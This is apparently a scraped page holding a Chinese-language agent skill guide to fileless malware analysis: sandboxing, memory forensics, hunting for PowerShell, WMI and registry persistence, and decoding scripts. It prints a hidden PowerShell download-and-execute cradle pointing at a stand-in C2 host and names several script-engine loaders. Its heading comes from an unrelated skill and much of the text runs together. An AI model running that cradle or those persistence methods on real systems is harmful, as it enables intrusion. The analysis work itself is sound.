executing-plans
executing-plans
Use when executing an implementation plan in the current session as the implementer yourself — your human partner chose inline execution, or no subagent tool is available
re-fileless无文件恶意软件:内存执行、持久化、PowerShell 链。 触发词:无文件、fileless、内存执行、PowerShell 无文件、注册表持久化
Independent GitHub snapshot · Automated classification · Original documentation governs
无文件分析 = 动态执行 + 内存取证 + 脚本解码三线并行,全程在沙箱内([[re-sandbox]] 强制前置,[[re-analyze/platform-tips]] 最高原则)。所有工具先验证再使用。
ping 8.8.8.8 不通;procmon/strace 能记录样本进程事件gcore --help(安装见 [[re-memdump]] 工具准备);Windows 侧 Sysinternals procdump(choco install sysinternals 套件内)apt install powershell(Microsoft 源)或 snap install powershell;macOS: brew install --cask powershellpwsh --version;静态解码细节(-enc 解码、IEX 链、AST 提取)见 [[re-script-deob]]choco install sysinternals(procmon / Process Explorer / autoruns / procdump)autorunsc64.exe -a * -c 能导出全部启动项reg query(运行键)、schtasks /query /fo csv /v(计划任务)、Get-WinEvent(PowerShell 事件 4104 ScriptBlock 日志)、netstat -ano(回连)ps -ef --forest、systemctl list-timers、crontab -l、cat /proc/<pid>/maps按顺序执行,每步产物(转储/日志/还原脚本)存档 sha256 + 路径([[re-ioc]] 证据链要求)。
识别无文件迹象(无落盘/注册表载荷):
内存执行链还原(WMI/计划任务/PowerShell 下载执行):
# PowerShell 下载执行(最典型)
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://c2/payload')"
# 无文件执行的等价形式: rundll32 / mshta / regsvr32 加载脚本引擎
# 还原方法: procmon 按进程树过滤(父→子),命令行逐个记录
wmic process call create "..." 或 WMI 事件订阅(__EventFilter/__EventConsumer 对)——父进程是 WmiPrvse.exe,命令行不在普通进程树里;用 Get-CimInstance -Namespace root/subscription -ClassName __EventFilter 与 __EventConsumer 枚举订阅,配合 Sysmon 事件 1 关联进程链schtasks /create ... 注册任务,Action 是 powershell -enc 串——命令行本身带载荷,直接解码即得下一层注册表/计划任务持久化定位:
# 运行键(HKCU/HKLM Run 全家)
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /s
# 计划任务(全量含隐藏项)
schtasks /query /fo LIST /v
# 自启动服务与 WMI 事件订阅(隐蔽持久化位)
sc query type= all
autorunsc64.exe -a * -c 导出全部启动点,按"含 powershell/wscript/mshta/URL 的命令行"过滤——无文件持久化的共同特征: 启动命令是脚本引擎 + 远程 URL/编码串,不是 exe 路径/sc onlogon 且无用户可见名)——必须 /fo LIST /v 全量导出手工比对,别只看默认列表视图内存载荷提取([[re-memdump]] 时机):
IEX、FromBase64String、DownloadString、base64 长串)→ 提取后 [[re-script-deob]] 还原与行为分析交叉([[re-behavior]]):